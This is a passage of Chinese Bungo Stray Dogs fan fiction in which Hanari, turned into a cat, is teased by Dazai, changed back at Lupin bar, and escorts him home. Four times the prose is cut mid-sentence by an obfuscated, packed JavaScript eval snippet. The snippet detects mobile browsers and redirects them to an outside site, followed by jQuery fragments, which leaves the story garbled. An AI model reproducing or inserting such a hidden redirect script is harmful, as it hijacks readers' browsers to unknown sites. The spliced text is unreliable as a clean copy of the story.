“哎呀?”他发出一个短促而充满兴味的音节,声音里带着一种刻意放大的、近乎表演性质的惊讶。 花理就这样看着他唇角缓缓勾起,那弧度越来越大……最终形成一个灿烂得晃眼的笑容。 “这是哪里来的小猫?”太宰治的声音轻快得像在唱歌,他反手轻轻关上门,脚步放得极轻,仿佛怕惊扰了眼前的小生物,一步步朝沙发走来。那双深不见底的鸢眸,一眨不眨地锁定了花理猫,里面翻涌着趣味和洞悉一切的玩味。 猫咪花理浑身的毛不受控制地炸得更开了,尾巴尖紧张地微微晃了晃。或许是动物遇到危险的本能反应,她把太宰治的钢笔推下桌子,扭身跳了下去,从椅子上跳到桌底。 他看出来了?他绝对看出来了!可怕的笑容……但是待在桌底的话,这人总不至于钻进来找她吧? 她还是低估太宰治了。太宰治在桌前蹲下身,视线与炸毛的小猫齐平。他的目光从那双圆溜溜的、带着惊恐和茫然的猫眼,扫过微微颤抖的胡须,再到僵硬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054112|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四肢。笑容加深了,带着一种“果然如此”的了然,却又偏偏用一种极其无辜和感叹的语气自言自语: “哎呀……花理去哪了?错过了这么可爱的小动物出现的场景呢……真可惜~”他的尾音拖得长长的。 猫咪花理:“……”哈哈。 她下意识地想后退,爪子却踩在了自己刚刚推下来的钢笔上,一个趔趄,不熟练使用却灵活的身体自己动起来,一个大跳四肢着地,弓起背对着钢笔哈气,她发出一声短促的惊叫:“喵嗷!” 太宰治笑了笑。花理惊恐地看着他慢条斯理地不知道从哪里掏出新绷带,仔细地把两只手都缠上,没有漏出一点皮肤。 然后,他才再次伸出手,动作轻柔的,用缠绕满绷带的手掌,托住了差点滚落的小猫的腹部,将她整个提溜了起来。 绷带的触感隔着柔软的绒毛传来,花理浑身僵硬,四只爪子悬在空中,一动不敢动。那双鸢色的眼睛近在咫尺,带着笑意。 “真可怜,”太宰治的声音放得极轻,像是在安抚她。 “吓坏了吧?好了好了……”他用缠满绷带的指尖,小心翼翼地、带着点试探性地,轻轻挠了挠猫花理的下巴。 猫花理:“……”她本能地感到一丝舒服,喉间几乎要发出呼噜声,但理智立刻压过了本能,她绷着猫脸给太宰治来了一爪子。 太宰治似乎对她的反抗毫不在意,只是挑了挑眉,拎起小猫的后颈,站起身,走到自己的办公桌前,将她轻轻放在了桌面上。 “花理酱真是的,自己跑去哪里玩了?把小客人单独留在这里可不太礼貌哦。”太宰治一边煞有介事地抱怨着不知所踪的“花理”,一边饶有兴致地打量着蹲坐在桌上、显得格外渺小的猫咪。 他的目光扫过桌面,看到了被花理放在角落的两份档案,“唔”了一声。 他的眼神在档案上停留了不到半秒,便若无其事地移开,重新聚焦在猫咪身上。 “你是花理带来的小猫~对吧?” 花理:“……”是个鬼,她是本人。 “嗯……”太宰治摸了摸下巴,像是突然想到了什么绝妙的主意,眼睛一亮,“既然花理不在,那就由我代为招待你吧?小猫君想去哪里玩呢?” 不等花理做出任何反应,他就自顾自地伸出手,动作极其自然地将小小的猫咪拢进了臂弯里,稳稳地抱了起来。 “走吧,”太宰治的声音带着一种奇异的轻松和愉悦,抱着猫就朝门口走去,“带你去个有趣的地方……顺便,等等我们那位不负责任的主人?” 花理猫被他圈在臂弯里,太宰治身上刚刚沐浴完清爽的气味萦绕在鼻尖。她试图挣扎,爪子钩住了他衣袖的线条,太宰治却毫不在意,手臂像铁箍一样稳固,带着她离开了办公室。 夜色已深,港口城市的晚风带着凉意和海水的咸腥。太宰治抱着猫,步履悠闲地穿行在横滨的街道上,目标明确地走向鹤见川的方向。河流在月光下泛着粼粼波光,水流声在寂静的夜里格外清晰。 花理:“……?” 猫回头看人,猫不可置信。 怎么又是这里,你还想跳呢哥。 40.她是猫.2 他走到一处临水的栏杆旁,停下了脚步。晚风吹动他的额发和衣角。 “这里的夜景不错吧?”太宰治低头,对着臂弯里僵硬的小猫轻笑。他的手臂突然微微抬高,将猫咪的身体悬空探出了栏杆之外。 哗啦啦的河水声就在下方,花理猫瞬间炸毛,四只爪子在空中拼命乱蹬,琥珀色的猫瞳因为恐惧而放大,她“喵喵喵”的叫着,其实已经用人话问候了太宰治八百遍。 他知不知道猫是怕水的啊! 太宰治似乎完全没感受到她剧烈的挣扎,只是饶有兴致地欣赏着小猫炸毛的模样。他甚至还恶劣地、轻轻晃了晃手臂,让小猫的身体在冰冷的河风与黑暗的水面之间,危险地摇曳。 “别怕嘛,”他的声音带着一丝戏谑的笑意,在夜风中显得格外清晰,“只是让你看看风景而已。” 他的目光落在小猫因恐惧而竖起的瞳孔上,停顿了片刻,嘴角那抹玩味的笑容加深了些许,仿佛不经意般,用指尖点了点猫咪湿漉漉的鼻尖,慢悠悠地补充道: “反正……如果是你的话,水性应该很好吧?” 这句话轻飘飘的,像一片羽毛落下,却让花理的怒火上升了一个程度。 “……” 他知道……他果然知道。他不仅知道她变成了猫,还故意捉弄她。 花理·猫版转过头,在夜色中发着荧光的猫眼幽幽地看着太宰治,实则在思考挠哪里。 太宰治似乎很满意她的反应,低低地笑了两声,终于大发慈悲地将小猫重新拢回臂弯里,甚至还安抚性地顺了顺她炸开的猫。 “开个玩笑而已,我可不会真的做这种事。” 花理猫脸上露出了一个三分讥笑、三分薄凉,三分怒火中烧的表情,毫不犹豫地给他来了一爪子。从变成猫之后,她的脾气似乎也差了些,至少不像做人的时候那样一直顾忌着职场关系了。 太宰治被抓的闷哼一声,手背上隐隐渗出血痕。他垂眸看她,倒是没有生气,淡淡地看了一眼伤口。 “生气了呢。” 他耸了耸肩,不太在意。抱着缩成一团的猫咪花理,转身朝着与河相反的方向走去。灯光逐渐密集,熟悉的霓虹招牌在不远处亮起。 ——Lupin酒吧。 花理上一次来还是和中原中也,现在变成了太宰治。看着他推开那扇熟悉的木门,温暖的灯光、舒缓的爵士乐以及混合着咖啡、酒精和淡淡烟草的气息扑面而来。 吧台后面,调酒师看到太宰治进来,以及他怀里那只明显处于惊吓状态的虎斑猫,脸上露出了毫不掩饰的惊讶。 “太宰先生?您这是……”调酒师的目光在太宰治和他臂弯里瑟瑟发抖的猫之间来回扫视,充满了困惑。 “啊呀,捡到一只迷路的小猫。”太宰治笑眯眯地解释,抱着猫径直走向吧台,熟门熟路地在吧台前的高脚凳上坐下,顺手将花理猫放在了旁边空着的凳子上。 “麻烦来两杯……嗯,给她来杯温牛奶吧?”太宰治对着调酒师说道,视线却依旧黏在努力把自己缩成一个毛球的猫咪身上,眼神里的兴味丝毫未减。 调酒师愣了一下,看了看那只明显吓坏了的猫,又看了看太宰治,最终还是什么也没说,转身去准备饮品。 花理猫蜷缩在冰冷的吧台凳上,努力降低存在感,琥珀色的眼睛警惕地盯着太宰治的一举一动,露出死鱼眼。太宰治则侧过身,一只手支着下巴,另一只手有一下没一下的极其克制地轻轻抚摸着猫咪拱起的背脊。 就在这时,酒吧的门再次被推开,清脆的风铃声响起。 一个穿着沙色风衣、气质温和的红发男人走了进来。他脸上带着点风尘仆仆的疲惫,目光习惯性地扫过吧台,在看到太宰治和他旁边那只……明显画风不对的炸毛虎斑猫时,脚步明显顿了一下。 织田作之助的脸上露出了罕见明显的惊讶表情。他走到太宰治旁边的位置坐下,目光在太宰治、花理猫以及那杯刚被调酒师放在猫咪面前、还冒着热气的牛奶之间来回移动。 “……太宰?”织田作的声音带着浓浓的困惑和一丝不确定,“这是……你的猫?” “唔……” 太宰治支着下巴,目光依旧黏在努力把自己缩成一团、只留给他一个炸毛背影的猫咪花理身上。闻言轻笑一声,让人摸不清真意,轻飘飘地: “嗯……算是吧?这孩子很可爱吧、就是脾气有点坏。”他抬了抬那只刚被挠出几道新鲜血痕的手背,血液渗出染红了手上的绷带,展示给织田作看。 花理:“……?” 织田作之助先生……不要相信他啊!她是花理啊,铁好人啊! 她装作不在意地舔了舔爪子上的毛。 脾气坏……?怪谁?说到底、明明就是太宰治先刻意恐吓她吧! 她转过脑袋,琥珀色的猫眼恶狠狠地瞪了太宰治一眼,喉咙里发出一声威胁的低呜。 “唔、在叫呢……饿了吗?花理。” 织田作之助更加疑惑了,他带着茫然的表情看了看太宰治又看了看被太宰治叫做「花理」的猫咪,最后沉默地看向太宰治,沉默着似乎一切尽在不言中: “……” 他今天下午刚刚遇到了绵津见花理本尊,还和对方聊过一会儿。现在看来这两人是……认识? 绵津见花理在太宰治手下吗? 为什么要给宠物起下属的名字……织田作之助迟疑片刻。 “织田作~表情很精彩噢?”太宰治笑嘻嘻地指了指猫,轻佻地勾勾猫咪的下巴。 在花理张开嘴差点咬下去之际,调酒师适时地将一杯温牛奶轻轻推到花理猫面前的吧台上,为太宰治倒了一杯他惯常点的威士忌,给织田作之助也上了一杯惯点的酒。 酒保看着她,有些迟疑:“太宰先生,给猫喝牛奶……真的没问题吗?” 他见过不少宠物,但眼前这只的状态实在说不上放松…… “没关系的啦~”太宰治摆摆手,依旧笑眯眯的,视线却若有似无地扫过花理猫,花理正盯着那杯牛奶,伸爪推开一些,表面自己不喝的觉悟。 她只想时间快点过去,或者找个机会溜走。她烦躁的原地转了个圈。 织田作之助抿了一口酒,目光在炸毛的猫和太宰治之间移动,真正的爱心人士迟疑着发出疑问:“它看起来很紧张……太宰、真的是你的猫吧?” “是哦。”太宰治耸耸肩,端起自己的酒杯晃了晃,冰块发出清脆的碰撞声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057893|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忽然像是想到了什么有趣的事情,鸢色的眼睛亮了起来,带着一种孩童般纯粹的兴致勃勃。 “呐,调酒师桑,”太宰治的声音愉悦的上扬,“麻烦再给我一小杯基酒,度数高一点的……嗯,还有,把我存在这里的那瓶酒也给我。……洗洁精如果可以的话也……” “洗洁精不可以,太宰大人。” “……”他状似委屈地眯了眯眼,“诶——”了一声,随后很大度的,“好吧。那就其他两样。” 调酒师虽然面露疑惑,但还是依言照办。从身后和吧台底下找出了太宰治要的东西。太宰治像一个调配神秘药剂的巫师,毒神在世,把各种东西都倒一点,随心所欲地发挥着创造力。 ……一杯颜色浑浊、散发着诡异混合香气的“特调”诞生了。 太宰治满意地看着自己的作品,然后,在花理猫惊恐万分的注视下,他拿起那杯正常的威士忌,又端起了这杯「太宰治特调」,将两杯酒并排放在了自己面前。 他嘴角的弧度慢慢扩大,扩大到堪称灿烂。然后…… 捏住花理的后颈,把她也拽过来一些。 “喝吗?”甜腻的、诱导的声音。 花理:“……?” 「警告!」是刚刚把她变成猫之后就装死的系统突然悠悠出现,「检测到高浓度混合毒素,太宰治刚刚往里面偷偷下的。」 系统的红色警报在她眼前疯狂闪烁,猫咪花理眼前一黑,不知道是心累还是无语多一点。猫咪发不出冷笑,所以她只是徒劳地张了张嘴。而太宰治似乎对她的激烈反应感到无比有趣,低低地笑了起来。 他拿起那杯“特调”,在花理眼前晃了晃,浑浊的液体在灯光下泛着不祥的光泽。 “别这么抗拒嘛,说不定味道意外的好呢?你看,我还特意加了牛奶……”太宰治带着抱怨般的撒娇语气说道。 “太宰。”织田作之助微微蹙眉,语气带上了一丝不赞同。 “给猫喝酒,它可能会死的。”他显然没认出这只猫是谁,也没计较太宰治管这只猫叫「花理」,只是出于对动物的基本关怀,批判道。 “有什么关系嘛~”太宰治拖长了调子,毫不在意,目光带着一种近乎残忍的期待,锁定在花理猫身上,又叹了一口气,一只手的手指轮流敲过桌面,很是遗憾般, “好吧,看来花理不愿意尝尝这杯酒……那我自己喝好啦~” 他一边说着,一边慢悠悠地端起了那杯花理和系统一致认定为毒药的液体,作势要喝。 花理看着他真的要把那杯毒酒凑到嘴边,对此人不靠谱的程度有了新认知,本来以为新上司只是丧一点二一点,现在看起来是真的奔着死去的啊…… ……不行!不能让他喝!给公司创收百分之五十、刚刚成为自己上司的神人,说什么也不能就这样死掉啊!这搁她上岗第一天死了这个月工资还给不给发了…… 虽然上司人很怪,但目前为止对她还算友善。上司、你不要死啊——! 就在太宰治的酒即将送进口中的千钧一发之际: “喵——!” 花理气势汹汹地叫了一声,从吧台凳上弹射而起,四爪并用,拼尽全身力气朝着太宰治握着酒杯的手狠狠撞了过去。 41.变回来了 虎斑猫一副视死如归的表情,撞在了杯子和太宰治握杯子的手上。那只盛放着致命特调的威士忌杯瞬间脱手飞出,砸在吧台上,应声碎裂。 “咔——” 是杯子的玻璃碎开的声音。 花理“啪叽”摔在吧台台面上,滚了几滚,身上瞬间沾满了溅射的酒液,毛发湿漉漉地黏在一起,狼狈不堪。她抖了抖毛,气得就差和太宰治单挑了。飞速吟唱了一段猫界脏话。 “啊呀。” 而太宰治的表情很微妙,介于早有预料和微微的惊讶之间。所以他只是轻轻地笑了一声,解开被打湿的绷带,轻轻按上猫咪的头。 花理还没理解他要做什么,疑惑的歪头时,系统的播报让她心里咯噔一下: 「受到角色【太宰治】异能【人间失格】干预,玩家体验异能【我是猫】形态强制解除。」 花理:“……”啊啊啊这个家伙在这等着她呢!现在变回来多社死啊……! 一股强烈的失重感,视野天旋地转,身体被强行拉伸。如同一个被戳破的幻象泡泡,吧台上那只湿漉漉、狼狈不堪的虎斑猫消失不见。取而代之的是坐在吧台上,脸上的表情在无言以对和气笑了间摇摆的绵津见花理。 等比放大后,衣服被打湿了一些,扎起的长发松开些,松松垮垮的披在身后。太宰治抓住她的手腕,一副好心的样子虚虚环住她: “哎呀,小心别掉下来了,花理。” “……”绵津见花理眼神死。抿着嘴,连嘴太宰治两句的力气都没有了,失去了所有的手段。 爵士乐还在悠扬地流淌,但整个酒吧除此之外再无然后声响。除了笑弯了眼睛的太宰治,全场没有一个表情好的活人存在了。 调酒师张大了嘴,手里的擦杯布一下子掉在地上,难以置信地看着眼前这大变活人的一幕。他盯着花理那张有些熟悉的脸,迟疑了一下,半天才挤出一句: “您……还好吗?” 摔在吧台上的疼痛和变回人形的眩晕感交织,花理捂着脑袋,面前又多了社死修罗场,她“嘶”了一声,挣扎着爬起来,手脚发软,湿透的衣服紧贴着皮肤,冰冷又难受。 她抬起头,正好对上调酒师那欲言又止的表情,还有旁边织田作之助同样写满惊愕和探究的眼神,还有一些微妙的对她职场的关心,斟酌着: “你……”你说在港口Mafia过的还行,是这样你也觉得还行吗? 沐浴在织田作之助带着点慈爱的关心中的花理:“……”很好,太宰治。你很好。 她的目光下意识往太宰的方向看去,这家伙正一手插着兜,笑吟吟地支着下巴看她。得不到回答却也心知肚明的调酒师默默拿起帕子擦拭吧台的酒渍,花理跳下桌台,恨不得原地消失。 她正考虑着要不要悄悄溜走,太宰治一只手伸了过来,稳稳地扶住了她的肩膀。花理有些烦躁地转头,手也搭载了对方肩上。她咬牙切齿,几乎是从牙缝里挤出来的第一句话就是: “……你故意的。” “嗯……没有哦?只是帮因为异能陷入麻烦的下属解决了一些、小小的麻烦?” 太宰治不知何时已经站到了她旁边。他脸上那点戏谑和玩味早已消失不见,取而代之的是一种平静得可怕的温和,仿佛刚才那场惊心动魄的闹剧从未发生过。他摘下了绷带的那只手稳稳地扶着她,力度不容拒绝。 “麻烦在哪?麻烦不是你制造的吗……”她实在无力吐槽。 “别这么说嘛、花理……你可是弄撒了我一杯好酒呢。很贵的哦。”太宰治轻哼一声,不置可否。织田作之助适时地把另一张凳子推过来,示意绵津见花理坐下。 他似乎又恢复了平静,或者单纯的觉得不想深究。太宰治还在哼哼,“而且「下属变成没有自理能力的猫,上司发现之后将其带在身边保护,最后找到方法把她变了回来」……完全是美谈的程度吧?” “不、如果上司从一开始就可以把她变回去却等到玩够了之后才这样做的话,那就只是上司恶劣的个人兴味的真实映照罢了……!” “真讨厌的叙事角度……”太宰治这样抱怨道。 “哈哈。”这是已经没招了的花理。 “请告诉我今晚我不论吃什么都由你买单。”花理收回放在太宰治肩膀上的手,语气恹恹,一屁股坐下,很自然地就开始点单了,“您好,我想要一份炸鱼薯条。” 调酒师点了点头应下,用有些感慨的声音:“上次您来这还是和中原大人吧,好久不见,绵津见小姐。” 花理:“……?”现在说这个?这倒是不用说出来…… 见她沉默,调酒师自知失言,有些惊讶:“抱歉、是我认错了……?” 不、完全没认错。名字也记得很准。她轻咳了一声,视线乱飘,挠了挠脑袋,还是应了下来:“唔,是我……” “才不是~” 突然插入对话,打断两人的笑眯眯的太宰治,伸手握住绵津见花理的手腕。 像是后知后觉要补救什么一边夸张地说了声“花理、衣服弄脏了哦”一边假惺惺地拿出手帕在她衣服的酒渍上装模作样地擦了擦,在绵津见花理无语抽搐的嘴角,“倒是也不用了……”的拒绝中,他迎着调酒师和织田作的注视,突兀地用一种理所当然的口吻微笑着开口: “是我的东西哦。我捡的猫啦。” 像小孩子争夺所有权般。他还要看向她,如恋人撒娇时般,有些抱怨的语气。 “对吧?花理。” 花理:“……?”吃错药了。 她抓开太宰治的手,对着两人摇了摇头,严肃地道:“并没有。这是他喝醉了导致的。我和任何一位同事都没有个人层面上的从属关系,其他关系也没有。太宰先生只是我的上司而已。” 织田作之助思考,但是相信,很捧场的:“唔。好的。” 调酒师面带微笑,语气奇异:“啊、好的。” “……这是没信吧!” 调酒师露出一个职业性的“我懂我都懂但我绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063724|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多问”的笑容,擦拭酒杯的动作更加用力了,片刻后,像是要回避,转身去做花理要的炸鱼薯条了。 织田作之助则一如既往地平静,仿佛刚才目睹的大变活人和所有权争议只是一出寻常街景,他点了点头,迎着花理期冀的目光:“嗯。绵津见小姐,我相信。” 花理的额角在突突直跳。她深深叹气,手肘撑在冰凉的台面上,指尖抵着隐隐作痛的太阳穴。斜眼去撇太宰治,抿了抿嘴,不知道从何说起。 “花理。” 太宰治的声音忽然响起,比刚才轻了许多,带着一种黏糊糊的醉意,就贴在她耳边。 明明只是一分钟没看他,这人又开始装醉的新把戏了?听到他迷糊腔调,花理没好气地偏头,看到他不知何时也侧身坐近了。 鸢色的眼眸在酒吧暖黄的光线下显得有些朦胧,像是蒙上了一层薄雾,但那深处的探究却依旧清晰地透了出来。 看起来是醉了……花理顿了顿,再看一眼面前的吧台,才惊觉他已经把一杯酒都喝下去了。 不对、就算是这样,身为干部这种老油条也没那么容易醉吧?她继续用谴责的眼神看他。 太宰治靠得很近,身上淡淡的消毒水味混合着威士忌的醇香,带着一种微醺的侵略性。 “为什么……”他拖长了调子,声音含糊又执拗,指尖无意识地在吧台光滑的台面上轻轻敲击,发出细微的嗒嗒声,“……要撞掉那杯酒呢?” “……我很少觉得一个人比我还十万个为什么。” “唔?哈哈……” 被逗乐的太宰治眯了眯眼,黏糊糊地凑过来,花理被他带上了点灯光的暖色的眼睛吸引,两人对视片刻,花理移开视线。 “我……”她犹豫了一下开口,要从哪里说起?好像都不合适,所以—— 要说什么?比如「请注意不要在我面前把自己搞死了」……?似乎有点不近人情……「我不希望您死」……关系也没好到那种程度。 “算了。” 太宰治却突兀地自己打断了追问,语气轻飘飘地转开,仿佛刚才那句试探只是一阵无关紧要的闲聊。他抬起手,指尖掠过花理沾着几滴酒液而黏在脸颊的发丝,动作轻柔得近乎暧昧,却垂下眼。 “……我大概都能猜到。” “……”好吧,这个人就这样放弃了,就像先吊起别人胃口又回避一样,超火大。 “……我要说、”她一怒之下,“不要在人思考的时候又独自放弃答案好吗!” “诶?” “因为不想看你在我面前死掉。就是这样私人情感没什么内涵的答案……可以吧?” 太宰治定定地看着她,顿了顿,语气带着奇妙的上扬和感叹。摩挲着下巴,视线若有似无地在她身上停留:“这样啊。” 像是精心准备的玩笑落了空。他端起那杯清水,慢悠悠地喝了一口,冰凉的液体顺着喉咙滑下。对方奇奇怪怪的态度让她觉得很郁闷,于此同时,花理迟来的炸鱼薯条终于端上来了。 42.送他回家 炸鱼薯条的香气适时飘来,花理立刻化悲愤为食欲,抓起叉子埋头苦干,决定用食物堵住自己的嘴,也避免再跟旁边那个祸害进行任何可能导致血压升高的对话。 太宰治在她那句话后停顿片刻,低低笑了起来,肩膀微颤。他没再继续说些什么,只是懒洋洋地重新支起下巴,侧着身,专注地看着她以一种带着点悲壮气势咀嚼薯条的样子。 那目光像带着实质性的热度,让花理觉得头皮发麻,连嘴里的食物都变得有点难以下咽。 酒保将一杯新倒的纯净水轻轻放到太宰治面前,大概也觉得这位干部今晚的疯劲需要点清水调和。太宰治修长的手指无意识地摩挲着冰凉的水杯杯壁,指甲偶尔擦过发出嚓声。 在太宰治那存在感过强的安静注视中,织田作安静地喝着自己的酒,目光偶尔扫过这对氛围微妙的上司和下属,平静得仿佛在欣赏一部默片。花理不言,只是闭上眼,一味地干饭。 直到花理解决了大半盘食物,胃里有了些暖意,紧绷的神经才稍稍松懈。太宰治忽然开口,声音很轻,带着一种酒后特有的、略显飘忽的质感。 “……花理。”他大概是有些醉了,眼里迷蒙着一层雾气,慢悠悠地从座位上站起来,掏出几张万元大钞压在酒杯下,声音不高,站直了居高临下看她。 “送我回去吧。” 花理:“……” 她自然是一万个不愿意再延长下班时间了,但是太宰治抗议的“诶?秘书不就是做这个的吗!”还是不得已站起来送他,太宰治那颗毛茸茸的脑袋带着沉甸甸的重量,压在了她的肩膀上。 温热带着淡淡消毒水和酒气的气息瞬间笼罩了她。他脸颊的温度隔着衣料清晰地传来,微卷的黑发蹭着她的脖颈,有点痒。 她叹了一口气,在织田作之助和调酒师“慢走”“一路顺风”的道别语中点点头,艰难地带着大型玩偶太宰治推开门走出去。 离开了Lupin酒吧,两人走进横滨夜晚微凉的街道。晚风一吹,靠在花理肩膀上的太宰治似乎清醒了微乎其微的一毫秒。他迷蒙地睁开眼,看到花理近在咫尺的侧脸。 “呐…花理……”他声音黏糊糊的,带着热气喷在花理耳畔,“刚才…为什么那么说呢……” 他又回到了那个问题,像是在喃喃自语,又像是在问自己,“其实明明很好奇我会不会喝下去吧?……算啦、反正……” 话音未落,他脑袋一歪,彻底将重量压在了花理身上,只有清浅的呼吸声。 花理被他最后那句模糊不清的话搅得心神不宁,一股无名火夹杂着难以言喻的复杂情绪升腾起来。她拿出手机叫车,想把靠在自己肩膀上的脑袋推回原位。太宰治似乎被她的动作弄得不太舒服,皱着眉,又往她颈窝里蹭了蹭。 花理死鱼眼:“太宰大人,这是要加钱的。下班三倍津贴和……不想你这一面暴露的封口费、您会打给我的吧?” 不知道是装不懂还是真不懂,他像寻找温暖窝的小动物,还带着醉意的鼻音发出不满的哼哼:“别动。头好痛……” 那语气委屈又孩子气。 “花理,还真是喜欢钱呢。明明对你来说其实没意义吧?” 这句话轻轻的,总觉得有些调侃的意味,花理抬眸看了他一眼。 出租车很快到了,司机看着花理艰难地架着一个明显醉得不省人事的太宰治时,眼中立刻流露出“现在的年轻人啊……”的了然和些许同情。 “去……港口旧施工区。”花理报出太宰治的地址,这下司机怀疑的眼神对准了她,他的视线再次在两人身上游弋,语气带着警惕。 “小姑娘,你这个时间去那里干什么?” 像是思考了一下结局,他停顿后又补充道。 “小年轻感情不好可以分手、没必要……”半夜给人送去当海鲜啊。 在他的未尽之言中,花理无言握拳,而太宰治像是没忍住一样笑出了声,花理马上瞪过去。 “……你醒着吧!” 她好说歹说才说动了司机载他们过去,车门关上,狭窄的空间里只剩下花理和半个身子都歪在她腿上的太宰治,以及前排透过后视镜不时投来一丝好奇目光的司机大叔。 太宰治的呼吸均匀而绵长,看起来睡得很沉,卷翘的睫毛在眼睑下投下淡淡的阴影,安静下来的样子有种脆弱的无害感。只是他实在不轻,压得花理的腿都有些发麻。 但是花理现在坚定地相信、这个人根本没醉!她来回端详太宰治的脸,试图找出一些端倪。太宰治的手臂因为蜷缩的姿势而搭在花理的膝盖附近。借由车窗透进来的忽明忽暗的路灯光线,花理的视线不受控制地落在了他那小臂上,拆下绷带后,有着陈年旧疤的痕迹。看不真切。 车子平稳地驶向横滨僻静的港口旧施工区。司机夸装的脑补让花理放弃了在他视线下继续絮叨试图戳穿太宰治。路灯昏黄的光线断断续续地扫过车厢腿上这位“醉鬼”安详平静,呼吸绵长均匀。 车子最终停在了废弃的集装箱堆放区附近。冷冽的海风带着浓重的咸腥和铁锈味扑面而来,远处的海港灯火在夜幕下闪烁,更衬得这片区域荒凉孤寂。到达目的地,司机停下车。 “小姑娘……确定是这里?”司机大叔的语气充满犹疑和不放心,再次上下打量花理和似乎人事不省的太宰治,“这地方晚上可不太平……” “嗯,地址没错。”花理面无表情地付了车费,动作略有些粗暴地把太宰治的脑袋从自己腿上挪开,“谢啦师傅。” 她打开车门,冷风让她打了个激灵。深吸一口气,花理几乎是半拖半拽地把这位港口Mafia的年轻干部弄下了车,出租车驶离视线范围。她撑着太宰治的胳膊把人架起来,跌跌撞撞地往他家走。 集装箱的门甚至没锁,绵津见花理张大了嘴,想了想这人家里似乎也不会让人有入室盗窃的冲动,便又气笑了一下。她用脚踢开门,和上次来时看起来差不多,走进去时倒是麻烦许多,一不小心就会踢倒地上的酒瓶。 “……你最好是真的醉了。”花理咬牙切齿地架着太宰治往深处走,后者几乎把全身重量都压在她身上,脚步虚浮得像踩在棉花上,却总能恰到好处地避开地面上的障碍物。 “唔……”太宰治发出一个含糊的音节,温热的鼻息喷在她耳后,“花理、好凶……” 直到她费力地把人扶着坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071424|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到床上,太宰治还是那副神志不清的样子。被丢到床上,太宰治发出模糊的哼唧,皱着眉,像是被扰了清梦的小动物,慢悠悠地睁开眼。鸢色的眼眸初时迷蒙,仿佛找不到焦点,但很快就清晰地映出花理那张写满不耐烦的脸。 “……这里是……?”他的声音带着刚睡醒的低哑,目光扫过屋内的装修。 “你家。”花理双手抱臂,气得哼笑一声,太宰治家没有窗户,光线只从两人进来的门内透进来一点。 没了旁人,空气瞬间只剩下静默,两人之间的氛围紧绷而微妙的,就算是游戏花理也不会在夜晚和男性上司再待下去了,她死鱼眼: “我先走了。太宰大人。还请务必记得我的加班费。” “……花理。”太宰治微微直起身,那双鸢色的眼睛在月光下清亮得惊人,哪还有半点醉意?心情糟糕的少女不耐烦地回头看他: “要是谢谢什么的就免了……毕竟我是「干部秘书」嘛。”对他的装醉早有预料,花理倒是不太生气或是惊讶,但语气中还是不由带着点嘲讽。 太宰治坐在那张简陋的行军床上,月光斜斜地打在他半边脸上,将另一半彻底隐没在的黑暗里。那双鸢色的眼眸在昏暗中清亮,直直地锁在花理身上。 花理被他看得心头火起,她不想再纠缠,只想立刻离开这个鬼地方和这个麻烦精上司。转身就要走。 太宰治的声音在寂静的集装箱里响起,不高,却带着一种奇异的穿透力,清晰地传入花理耳中,让她脚步不由自主地顿住。 “对于将要在面前流逝的生命,你都会试图拯救吗?” 然后停顿了一下,像是在斟酌词句,又像是在欣赏她僵硬的背影。 “总是感到可惜、似乎自己明明可以做些什么……”他缓缓开口,声音带着一丝刚“清醒”的低哑,却又异常清晰,“你是这样想的吗?” 花理迎着门缝照进来的月光,扶着额深深叹气。 “……我哪里让你觉得我很有拯救者心态了吗。” 太宰治像是没听出她的疑惑加讽刺,反而微微歪了歪头,脸上露出难得的困惑的表情,仿佛真的在认真思考:“嗯……不是这样吗?” “……你会为故事中的角色流泪、对吧?”他慢悠悠地复述着,每一个字都敲在花理的神经上 “所以呢?”花理双手抱臂,冷笑着抿了抿唇,对方突兀的提问让她心里有些七上八下,反问,“太宰大人是想提醒我什么?「不适合做Mafia」?……我倒是不想做啊……” 她很少对游戏角色生气,尤其是这种没什么所谓的虚无的议题。但是太宰治轻飘飘的、一而再再而三的试探、对自己生命的随意,总让她有些隐隐的不适,堆积成了叹息和怒火。 